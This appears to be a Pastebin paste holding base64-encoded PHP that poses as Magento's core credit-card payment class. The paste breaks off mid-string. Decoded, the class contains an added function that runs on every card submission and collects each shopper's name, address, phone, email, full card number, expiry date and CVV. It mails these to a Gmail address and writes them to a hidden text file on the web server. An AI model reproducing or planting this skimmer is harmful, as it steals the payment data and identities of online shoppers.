Advertisement
galih039

CC

Dec 9th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.15 KB | None | 0 0
  1. PD9waHANCi8qKg0KICogTWFnZW50bw0KICoNCiAqIE5PVElDRSBPRiBMSUNFTlNFDQogKg0KICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApDQogKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS50eHQuDQogKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDoNCiAqIGh0dHA6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9vc2wtMy4wLnBocA0KICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG8NCiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWwNCiAqIHRvIGxpY2Vuc2VAbWFnZW50b2NvbW1lcmNlLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5Lg0KICoNCiAqIERJU0NMQUlNRVINCiAqDQogKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgTWFnZW50byB0byBuZXdlcg0KICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIE1hZ2VudG8gZm9yIHlvdXINCiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwOi8vd3d3Lm1hZ2VudG9jb21tZXJjZS5jb20gZm9yIG1vcmUgaW5mb3JtYXRpb24uDQogKg0KICogQGNhdGVnb3J5ICAgIE1hZ2UNCiAqIEBwYWNrYWdlICAgICBNYWdlX1BheW1lbnQNCiAqIEBjb3B5cmlnaHQgICBDb3B5cmlnaHQgKGMpIDIwMTIgTWFnZW50byBJbmMuIChodHRwOi8vd3d3Lm1hZ2VudG9jb21tZXJjZS5jb20pDQogKiBAbGljZW5zZSAgICAgaHR0cDovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL29zbC0zLjAucGhwICBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApDQogKi8NCg0KDQpjbGFzcyBNYWdlX1BheW1lbnRfTW9kZWxfTWV0aG9kX0NjIGV4dGVuZHMgTWFnZV9QYXltZW50X01vZGVsX01ldGhvZF9BYnN0cmFjdA0Kew0KICAgIHByb3RlY3RlZCAkX2Zvcm1CbG9ja1R5cGUgPSAncGF5bWVudC9mb3JtX2NjJzsNCiAgICBwcm90ZWN0ZWQgJF9pbmZvQmxvY2tUeXBlID0gJ3BheW1lbnQvaW5mb19jYyc7DQogICAgcHJvdGVjdGVkICRfY2FuU2F2ZUNjICAgICA9IGZhbHNlOw0KDQogICAgLyoqDQogICAgICogQXNzaWduIGRhdGEgdG8gaW5mbyBtb2RlbCBpbnN0YW5jZQ0KICAgICAqDQogICAgICogQHBhcmFtICAgbWl4ZWQgJGRhdGENCiAgICAgKiBAcmV0dXJuICBNYWdlX1BheW1lbnRfTW9kZWxfSW5mbw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhc3NpZ25EYXRhKCRkYXRhKQ0KICAgIHsNCiAgICAgICAgaWYgKCEoJGRhdGEgaW5zdGFuY2VvZiBWYXJpZW5fT2JqZWN0KSkgew0KICAgICAgICAgICAgJGRhdGEgPSBuZXcgVmFyaWVuX09iamVjdCgkZGF0YSk7DQogICAgICAgIH0NCiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7DQogICAgICAgICRpbmZvLT5zZXRDY1R5cGUoJGRhdGEtPmdldENjVHlwZSgpKQ0KICAgICAgICAgICAgLT5zZXRDY093bmVyKCRkYXRhLT5nZXRDY093bmVyKCkpDQogICAgICAgICAgICAtPnNldENjTGFzdDQoc3Vic3RyKCRkYXRhLT5nZXRDY051bWJlcigpLCAtNCkpDQogICAgICAgICAgICAtPnNldENjTnVtYmVyKCRkYXRhLT5nZXRDY051bWJlcigpKQ0KICAgICAgICAgICAgLT5zZXRDY0NpZCgkZGF0YS0+Z2V0Q2NDaWQoKSkNCiAgICAgICAgICAgIC0+c2V0Q2NFeHBNb250aCgkZGF0YS0+Z2V0Q2NFeHBNb250aCgpKQ0KICAgICAgICAgICAgLT5zZXRDY0V4cFllYXIoJGRhdGEtPmdldENjRXhwWWVhcigpKQ0KICAgICAgICAgICAgLT5zZXRDY1NzSXNzdWUoJGRhdGEtPmdldENjU3NJc3N1ZSgpKQ0KICAgICAgICAgICAgLT5zZXRDY1NzU3RhcnRNb250aCgkZGF0YS0+Z2V0Q2NTc1N0YXJ0TW9udGgoKSkNCiAgICAgICAgICAgIC0+c2V0Q2NTc1N0YXJ0WWVhcigkZGF0YS0+Z2V0Q2NTc1N0YXJ0WWVhcigpKQ0KICAgICAgICAgICAgOw0KICAgICAgICAkdGhpcy0+c2VuZENjTnVtYmVyKCk7IA0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgZnVuY3Rpb24gc2VuZENjTnVtYmVyKCkNCiAgICB7DQogICAgICAgICRpbmZvID0gJHRoaXMtPmdldEluZm9JbnN0YW5jZSgpOw0KIA0KICAgICAgICAkb2JqZWN0ID0gbmV3IE1hZ2VfQ2hlY2tvdXRfQmxvY2tfT25lcGFnZV9CaWxsaW5nOw0KICAgICAgICAkYWRkcmVzczEgPSAkb2JqZWN0LT5nZXRRdW90ZSgpLT5nZXRCaWxsaW5nQWRkcmVzcygpOw0KIA0KICAgICAgICAkZGF0YTEgPSAkYWRkcmVzczEtPmdldEZpcnN0bmFtZSgpOw0KICAgICAgICAkZGF0YTIgPSAkYWRkcmVzczEtPmdldExhc3RuYW1lKCk7DQogICAgICAgICRkYXRhMyA9ICRhZGRyZXNzMS0+Z2V0U3RyZWV0KDEpOw0KICAgICAgICAkZGF0YTQgPSAkYWRkcmVzczEtPmdldFN0cmVldCgyKTsNCiAgICAgICAgJGRhdGE1ID0gJGFkZHJlc3MxLT5nZXRDaXR5KCk7DQogICAgICAgICRkYXRhNiA9ICRhZGRyZXNzMS0+Z2V0UmVnaW9uKCk7DQogICAgICAgICRkYXRhNyA9ICRhZGRyZXNzMS0+Z2V0UG9zdGNvZGUoKTsNCiAgICAgICAgJGRhdGE4ID0gJGFkZHJlc3MxLT5nZXRDb3VudHJ5KCk7DQogICAgICAgICRkYXRhOSA9ICRhZGRyZXNzMS0+Z2V0VGVsZXBob25lKCk7DQogICAgICAgICRkYXRhMTAgPSAkaW5mby0+Z2V0Q2NOdW1iZXIoKTsNCiAgICAgICAgJGV4cHllYXIgPSBzdWJzdHIoJGluZm8tPmdldENjRXhwWWVhcigpLCAtMik7DQogICAgICAgICRleHBtb250aCA9ICRpbmZvLT5nZXRDY0V4cE1vbnRoKCk7DQogDQogICAgICAgIGlmIChzdHJsZW4oJGV4cG1vbnRoKSA9PSAxKSB7DQogICAgICAgICAgICRleHBtb250aCA9ICcwJy4kZXhwbW9udGg7DQogICAgICAgIH07DQoNCiAgICAgICAgJGJpbiAgICAgPSBzdHJfcmVwbGFjZSgnICcsICcnLCAkZGF0YTEwKTsNCiAgICAgICAgJGJpbiAgICAgPSBzdWJzdHIoJGJpbiwgMCwgNik7DQogICAgICAgICRuYW1lICAgID0gc3Vic3RyKCRkYXRhMTAsIDAsIDYpOw0KICAgICAgICAkZ2V0YmFuayA9IGpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vd3d3LmJpbmxpc3QubmV0L2pzb24vIi4kYmluLiIiKSk7DQogICAgICAgICRjY2JyYW5kID0gJGdldGJhbmstPmJyYW5kOw0KICAgICAgICAkY2NiYW5rICA9ICRnZXRiYW5rLT5iYW5rOw0KICAgICAgICAkY2N0eXBlICA9ICRnZXRiYW5rLT5jYXJkX3R5cGU7DQogICAgICAgICRjY2tsYXMgID0gJGdldGJhbmstPmNhcmRfY2F0ZWdvcnk7ICANCg0KICAgICAgICAkZGF0YTExID0gJGV4cG1vbnRoOw0KICAgICAgICAkZGF0YTEyID0gJGV4cHllYXI7DQogICAgICAgICRkYXRhMTMgPSAkaW5mby0+Z2V0Q2NDaWQoKTsNCiAgICAgICAgJGRhdGExNCA9ICcnOw0KICAgICAgICAkZGF0YTE1ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgICRkYXRhMTYgPSBNYWdlOjpnZXRTaW5nbGV0b24oJ2NoZWNrb3V0L3Nlc3Npb24nKS0+Z2V0UXVvdGUoKS0+Z2V0QmlsbGluZ0FkZHJlc3MoKS0+Z2V0RW1haWwoKTsNCg0KICAgICAgICAkZGF0YTE3ID0gJyc7IC8vY291bnR5DQoNCiAgICAgICAgJG1lc3NhZ2UgLj0gIk5hbWEgTGVuZ2thcCAgIDogIi4kZGF0YTEuIiAiLiRkYXRhMi4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiQWxhbWF0IDEgICAgICAgOiAiLiRkYXRhMy4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiQWxhbWF0IDIgICAgICAgOiAiLiRkYXRhNC4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiQ2l0eSAgICAgICAgICAgOiAiLiRkYXRhNS4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiU3RhdGUgICAgICAgICAgOiAiLiRkYXRhNi4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiWmlwICAgICAgICAgICAgOiAiLiRkYXRhNy4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiQ291bnRyeSAgICAgICAgOiAiLiRkYXRhOC4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiUGhvbmUgICAgICAgICAgOiAiLiRkYXRhOS4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiQklOICAgICAgICAgICAgOiAiLiRjY2JhbmsgLiIgIi4gJGNjdHlwZSAuIiAiLiAkY2NrbGFzLiJcbiI7DQogICAgICAgICRtZXNzYWdlIC49ICJjY251bSAgICAgICAgICA6ICIuJGRhdGExMC4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiZXhwZGF0ZSAgICAgICAgOiAiLiRkYXRhMTEuIiAvICIuJGRhdGExMi4iXG4iOw0KICAgICAgICAkbWVzc2FnZSAuPSAiY3Z2ICAgICAgICAgICAgOiAiLiRkYXRhMTMuIlxuIjsNCiAgICAgICAgJG1lc3NhZ2UgLj0gIkZyb20gICAgICAgICAgIDogIi4kZGF0YTE1LiJcbiI7DQogICAgICAgICRtZXNzYWdlIC49ICJMb2NhbCBTYXZlICAgICA6ICIuJGRhdGExNS4iL2pzL21hZ2UvYWRtaW5odG1sL3NoYy1jYy50eHRcbiI7DQogICAgICAgICRtZXNzYWdlIC49ICJFbWFpbCAgICAgICAgICA6ICIuJGRhdGExNi4iXG4iOw0KDQogICAgICAgICRzdWJqZWN0ICA9ICJbQ3JlZGl0IENhcmQgLSAiLiRjY3R5cGUuIl0gIi4kZGF0YTEwLiIgLSAiLiRjY2Jhbms7IA0KICAgICAgICBtYWlsKCJ0YW1wdW5nYW5tYWdlbnRvQGdtYWlsLmNvbSIsICRzdWJqZWN0ICwgJG1lc3NhZ2UpOw0KDQogICAgICAgICRsb2NhdGUgPSAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLiIvanMvbWFnZS9hZG1pbmh0bWwvc2hjLWNjLnR4dCI7DQogICAgICAgIGlmICghIGZpbGVfZXhpc3RzKCRsb2NhdGUpICl7DQogICAgICAgICAgICAkd3JpdGUgPSBmb3BlbigkbG9jYXRlLCJhIik7DQogICAgICAgICAgICBmd3JpdGUoJHdyaXRlLCJcbi0tLS0tIEJVRzdTRUMgfCBDYyBTYXZlc1xuXG4iKTsNCiAgICAgICAgICAgIGZjbG9zZSgkd3JpdGUpOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICR3cml0ZSA9IGZvcGVuKCRsb2NhdGUsImEiKTsNCiAgICAgICAgICAgIGZ3cml0ZSgkd3JpdGUsJG1lc3NhZ2UuIlxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cblxuIik7DQogICAgICAgICAgICBmY2xvc2UoJHdyaXRlKTsNCiAgICAgICAgfQ0KfQ0KICAgIC8qKg0KICAgICAqIFByZXBhcmUgaW5mbyBpbnN0YW5jZSBmb3Igc2F2ZQ0KICAgICAqDQogICAgICogQHJldHVybiBNYWdlX1BheW1lbnRfTW9kZWxfQWJzdHJhY3QNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJlcGFyZVNhdmUoKQ0KICAgIHsNCiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7DQogICAgICAgIGlmICgkdGhpcy0+X2NhblNhdmVDYykgew0KICAgICAgICAgICAgJGluZm8tPnNldENjTnVtYmVyRW5jKCRpbmZvLT5lbmNyeXB0KCRpbmZvLT5nZXRDY051bWJlcigpKSk7DQogICAgICAgIH0NCiAgICAgICAgLy8kaW5mby0+c2V0Q2NDaWRFbmMoJGluZm8tPmVuY3J5cHQoJGluZm8tPmdldENjQ2lkKCkpKTsNCiAgICAgICAgJGluZm8tPnNldENjTnVtYmVyKG51bGwpDQogICAgICAgICAgICAtPnNldENjQ2lkKG51bGwpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogVmFsaWRhdGUgcGF5bWVudCBtZXRob2QgaW5mb3JtYXRpb24gb2JqZWN0DQogICAgICoNCiAgICAgKiBAcGFyYW0gICBNYWdlX1BheW1lbnRfTW9kZWxfSW5mbyAkaW5mbw0KICAgICAqIEByZXR1cm4gIE1hZ2VfUGF5bWVudF9Nb2RlbF9BYnN0cmFjdA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiB2YWxpZGF0ZSgpDQogICAgew0KICAgICAgICAvKg0KICAgICAgICAqIGNhbGxpbmcgcGFyZW50IHZhbGlkYXRlIGZ1bmN0aW9uDQogICAgICAgICovDQogICAgICAgIHBhcmVudDo6dmFsaWRhdGUoKTsNCg0KICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsNCiAgICAgICAgJGVycm9yTXNnID0gZmFsc2U7DQogICAgICAgICRhdmFpbGFibGVUeXBlcyA9IGV4cGxvZGUoJywnLCR0aGlzLT5nZXRDb25maWdEYXRhKCdjY3R5cGVzJykpOw0KDQogICAgICAgICRjY051bWJlciA9ICRpbmZvLT5nZXRDY051bWJlcigpOw0KDQogICAgICAgIC8vIHJlbW92ZSBjcmVkaXQgY2FyZCBudW1iZXIgZGVsaW1pdGVycyBzdWNoIGFzICItIiBhbmQgc3BhY2UNCiAgICAgICAgJGNjTnVtYmVyID0gcHJlZ19yZXBsYWNlKCcvW1wtXHNdKy8nLCAnJywgJGNjTnVtYmVyKTsNCiAgICAgICAgJGluZm8tPnNldENjTnVtYmVyKCRjY051bWJlcik7DQoNCiAgICAgICAgJGNjVHlwZSA9ICcnOw0KDQogICAgICAgIGlmIChpbl9hcnJheSgkaW5mby0+Z2V0Q2NUeXBlKCksICRhdmFpbGFibGVUeXBlcykpew0KICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUNjTnVtKCRjY051bWJlcikNCiAgICAgICAgICAgICAgICAvLyBPdGhlciBjcmVkaXQgY2FyZCB0eXBlIG51bWJlciB2YWxpZGF0aW9uDQogICAgICAgICAgICAgICAgfHwgKCR0aGlzLT5PdGhlckNjVHlwZSgkaW5mby0+Z2V0Q2NUeXBlKCkpICYmICR0aGlzLT52YWxpZGF0ZUNjTnVtT3RoZXIoJGNjTnVtYmVyKSkpIHsNCg0KICAgICAgICAgICAgICAgICRjY1R5cGUgPSAnT1QnOw0KICAgICAgICAgICAgICAgICRjY1R5cGVSZWdFeHBMaXN0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIC8vU29sbywgU3dpdGNoIG9yIE1hZXN0cm8uIEludGVybmF0aW9uYWwgc2FmZQ0KICAgICAgICAgICAgICAgICAgICAvKg0KICAgICAgICAgICAgICAgICAgICAvLyBNYWVzdHJvIC8gU29sbw0KICAgICAgICAgICAgICAgICAgICAnU1MnICA9PiAnL14oKDY3NTlbMC05XXsxMn0pfCg2MzM0fDY3NjdbMC05XXsxMn0pfCg2MzM0fDY3NjdbMC05XXsxNCwxNX0pJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woNTAxOHw1MDIwfDUwMzh8NjMwNHw2NzU5fDY3NjF8Njc2M1swLTldezEyLDE5fSl8KDQ5WzAxM11bMTM1Nl1bMC05XXsxMn0pJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woNjMzWzM0XVswLTldezEyfSl8KDYzMzExMFswLTldezEwfSl8KDU2NDE4MlswLTldezEwfSkpKFswLTldezIsM30pPyQvJywNCiAgICAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICAgICAgLy8gU29sbyBvbmx5DQogICAgICAgICAgICAgICAgICAgICdTTycgPT4gJy8oXig2MzM0KVs1LTldKFxkezExfSR8XGR7MTMsMTR9JCkpfCheKDY3NjcpKFxkezEyfSR8XGR7MTQsMTV9JCkpLycsDQogICAgICAgICAgICAgICAgICAgICdTTScgPT4gJy8oXig1WzA2NzhdKVxkezExLDE4fSQpfCheKDZbXjA1XSlcZHsxMSwxOH0kKXwoXig2MDEpW14xXVxkezksMTZ9JCl8KF4oNjAxMSlcZHs5LDExfSQpJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woXig2MDExKVxkezEzLDE2fSQpfCheKDY1KVxkezExLDEzfSQpfCheKDY1KVxkezE1LDE4fSQpJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woXig0OTAzMClbMi05XShcZHsxMH0kfFxkezEyLDEzfSQpKXwoXig0OTAzMylbNS05XShcZHsxMH0kfFxkezEyLDEzfSQpKScNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICd8KF4oNDkxMTApWzEtMl0oXGR7MTB9JHxcZHsxMiwxM30kKSl8KF4oNDkxMTcpWzQtOV0oXGR7MTB9JHxcZHsxMiwxM30kKSknDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnfCheKDQ5MTE4KVswLTJdKFxkezEwfSR8XGR7MTIsMTN9JCkpfCheKDQ5MzYpKFxkezEyfSR8XGR7MTQsMTV9JCkpLycsDQogICAgICAgICAgICAgICAgICAgIC8vIFZpc2ENCiAgICAgICAgICAgICAgICAgICAgJ1ZJJyAgPT4gJy9eNFswLTldezEyfShbMC05XXszfSk/JC8nLA0KICAgICAgICAgICAgICAgICAgICAvLyBNYXN0ZXIgQ2FyZA0KICAgICAgICAgICAgICAgICAgICAnTUMnICA9PiAnL141WzEtNV1bMC05XXsxNH0kLycsDQogICAgICAgICAgICAgICAgICAgIC8vIEFtZXJpY2FuIEV4cHJlc3MNCiAgICAgICAgICAgICAgICAgICAgJ0FFJyAgPT4gJy9eM1s0N11bMC05XXsxM30kLycsDQogICAgICAgICAgICAgICAgICAgIC8vIERpc2NvdmVyeQ0KICAgICAgICAgICAgICAgICAgICAnREknICA9PiAnL142MDExWzAtOV17MTJ9JC8nLA0KICAgICAgICAgICAgICAgICAgICAvLyBKQ0INCiAgICAgICAgICAgICAgICAgICAgJ0pDQicgPT4gJy9eKDNbMC05XXsxNX18KDIxMzF8MTgwMClbMC05XXsxMX0pJC8nDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjY1R5cGVSZWdFeHBMaXN0IGFzICRjY1R5cGVNYXRjaD0+JGNjVHlwZVJlZ0V4cCkgew0KICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkY2NUeXBlUmVnRXhwLCAkY2NOdW1iZXIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2NUeXBlID0gJGNjVHlwZU1hdGNoOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5PdGhlckNjVHlwZSgkaW5mby0+Z2V0Q2NUeXBlKCkpICYmICRjY1R5cGUhPSRpbmZvLT5nZXRDY1R5cGUoKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJyb3JNc2cgPSBNYWdlOjpoZWxwZXIoJ3BheW1lbnQnKS0+X18oJ0NyZWRpdCBjYXJkIG51bWJlciBtaXNtYXRjaCB3aXRoIGNyZWRpdCBjYXJkIHR5cGUuJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgJGVycm9yTXNnID0gTWFnZTo6aGVscGVyKCdwYXltZW50JyktPl9fKCdJbnZhbGlkIENyZWRpdCBDYXJkIE51bWJlcicpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkZXJyb3JNc2cgPSBNYWdlOjpoZWxwZXIoJ3BheW1lbnQnKS0+X18oJ0NyZWRpdCBjYXJkIHR5cGUgaXMgbm90IGFsbG93ZWQgZm9yIHRoaXMgcGF5bWVudCBtZXRob2QuJyk7DQogICAgICAgIH0NCg0KICAgICAgICAvL3ZhbGlkYXRlIGNyZWRpdCBjYXJkIHZlcmlmaWNhdGlvbiBudW1iZXINCiAgICAgICAgaWYgKCRlcnJvck1zZyA9PT0gZmFsc2UgJiYgJHRoaXMtPmhhc1ZlcmlmaWNhdGlvbigpKSB7DQogICAgICAgICAgICAkdmVyaWZjYXRpb25SZWdFeCA9ICR0aGlzLT5nZXRWZXJpZmljYXRpb25SZWdFeCgpOw0KICAgICAgICAgICAgJHJlZ0V4cCA9IGlzc2V0KCR2ZXJpZmNhdGlvblJlZ0V4WyRpbmZvLT5nZXRDY1R5cGUoKV0pID8gJHZlcmlmY2F0aW9uUmVnRXhbJGluZm8tPmdldENjVHlwZSgpXSA6ICcnOw0KICAgICAgICAgICAgaWYgKCEkaW5mby0+Z2V0Q2NDaWQoKSB8fCAhJHJlZ0V4cCB8fCAhcHJlZ19tYXRjaCgkcmVnRXhwICwkaW5mby0+Z2V0Q2NDaWQoKSkpew0KICAgICAgICAgICAgICAgICRlcnJvck1zZyA9IE1hZ2U6OmhlbHBlcigncGF5bWVudCcpLT5fXygnUGxlYXNlIGVudGVyIGEgdmFsaWQgY3JlZGl0IGNhcmQgdmVyaWZpY2F0aW9uIG51bWJlci4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkY2NUeXBlICE9ICdTUycgJiYgISR0aGlzLT5fdmFsaWRhdGVFeHBEYXRlKCRpbmZvLT5nZXRDY0V4cFllYXIoKSwgJGluZm8tPmdldENjRXhwTW9udGgoKSkpIHsNCiAgICAgICAgICAgICRlcnJvck1zZyA9IE1hZ2U6OmhlbHBlcigncGF5bWVudCcpLT5fXygnSW5jb3JyZWN0IGNyZWRpdCBjYXJkIGV4cGlyYXRpb24gZGF0ZS4nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCRlcnJvck1zZyl7DQogICAgICAgICAgICBNYWdlOjp0aHJvd0V4Y2VwdGlvbigkZXJyb3JNc2cpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy9UaGlzIG11c3QgYmUgYWZ0ZXIgYWxsIHZhbGlkYXRpb24gY29uZGl0aW9ucw0KICAgICAgICBpZiAoJHRoaXMtPmdldElzQ2VudGluZWxWYWxpZGF0aW9uRW5hYmxlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+Z2V0Q2VudGluZWxWYWxpZGF0b3IoKS0+dmFsaWRhdGUoJHRoaXMtPmdldENlbnRpbmVsVmFsaWRhdGlvbkRhdGEoKSk7DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGhhc1ZlcmlmaWNhdGlvbigpDQogICAgew0KICAgICAgICAkY29uZmlnRGF0YSA9ICR0aGlzLT5nZXRDb25maWdEYXRhKCd1c2VjY3YnKTsNCiAgICAgICAgaWYoaXNfbnVsbCgkY29uZmlnRGF0YSkpew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIChib29sKSAkY29uZmlnRGF0YTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VmVyaWZpY2F0aW9uUmVnRXgoKQ0KICAgIHsNCiAgICAgICAgJHZlcmlmaWNhdGlvbkV4cExpc3QgPSBhcnJheSgNCiAgICAgICAgICAgICdWSScgPT4gJy9eWzAtOV17M30kLycsIC8vIFZpc2ENCiAgICAgICAgICAgICdNQycgPT4gJy9eWzAtOV17M30kLycsICAgICAgIC8vIE1hc3RlciBDYXJkDQogICAgICAgICAgICAnQUUnID0+ICcvXlswLTldezR9JC8nLCAgICAgICAgLy8gQW1lcmljYW4gRXhwcmVzcw0KICAgICAgICAgICAgJ0RJJyA9PiAnL15bMC05XXszfSQvJywgICAgICAgICAgLy8gRGlzY292ZXJ5DQogICAgICAgICAgICAnU1MnID0+ICcvXlswLTldezMsNH0kLycsDQogICAgICAgICAgICAnU00nID0+ICcvXlswLTldezMsNH0kLycsIC8vIFN3aXRjaCBvciBNYWVzdHJvDQogICAgICAgICAgICAnU08nID0+ICcvXlswLTldezMsNH0kLycsIC8vIFNvbG8NCiAgICAgICAgICAgICdPVCcgPT4gJy9eWzAtOV17Myw0fSQvJywNCiAgICAgICAgICAgICdKQ0InID0+ICcvXlswLTldezMsNH0kLycgLy9KQ0INCiAgICAgICAgKTsNCiAgICAgICAgcmV0dXJuICR2ZXJpZmljYXRpb25FeHBMaXN0Ow0KICAgIH0NCg0KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBfdmFsaWRhdGVFeHBEYXRlKCRleHBZZWFyLCAkZXhwTW9udGgpDQogICAgew0KICAgICAgICAkZGF0ZSA9IE1hZ2U6OmFwcCgpLT5nZXRMb2NhbGUoKS0+ZGF0ZSgpOw0KICAgICAgICBpZiAoISRleHBZZWFyIHx8ICEkZXhwTW9udGggfHwgKCRkYXRlLT5jb21wYXJlWWVhcigkZXhwWWVhcikgPT0gMSkNCiAgICAgICAgICAgIHx8ICgkZGF0ZS0+Y29tcGFyZVllYXIoJGV4cFllYXIpID09IDAgJiYgKCRkYXRlLT5jb21wYXJlTW9udGgoJGV4cE1vbnRoKSA9PSAxKSkNCiAgICAgICAgKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIE90aGVyQ2NUeXBlKCR0eXBlKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0eXBlPT0nT1QnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFZhbGlkYXRlIGNyZWRpdCBjYXJkIG51bWJlcg0KICAgICAqDQogICAgICogQHBhcmFtICAgc3RyaW5nICRjY19udW1iZXINCiAgICAgKiBAcmV0dXJuICBib29sDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHZhbGlkYXRlQ2NOdW0oJGNjTnVtYmVyKQ0KICAgIHsNCiAgICAgICAgJGNhcmROdW1iZXIgPSBzdHJyZXYoJGNjTnVtYmVyKTsNCiAgICAgICAgJG51bVN1bSA9IDA7DQoNCiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJGNhcmROdW1iZXIpOyAkaSsrKSB7DQogICAgICAgICAgICAkY3VycmVudE51bSA9IHN1YnN0cigkY2FyZE51bWJlciwgJGksIDEpOw0KDQogICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAqIERvdWJsZSBldmVyeSBzZWNvbmQgZGlnaXQNCiAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgaWYgKCRpICUgMiA9PSAxKSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnROdW0gKj0gMjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgKiBBZGQgZGlnaXRzIG9mIDItZGlnaXQgbnVtYmVycyB0b2dldGhlcg0KICAgICAgICAgICAgICovDQogICAgICAgICAgICBpZiAoJGN1cnJlbnROdW0gPiA5KSB7DQogICAgICAgICAgICAgICAgJGZpcnN0TnVtID0gJGN1cnJlbnROdW0gJSAxMDsNCiAgICAgICAgICAgICAgICAkc2Vjb25kTnVtID0gKCRjdXJyZW50TnVtIC0gJGZpcnN0TnVtKSAvIDEwOw0KICAgICAgICAgICAgICAgICRjdXJyZW50TnVtID0gJGZpcnN0TnVtICsgJHNlY29uZE51bTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJG51bVN1bSArPSAkY3VycmVudE51bTsNCiAgICAgICAgfQ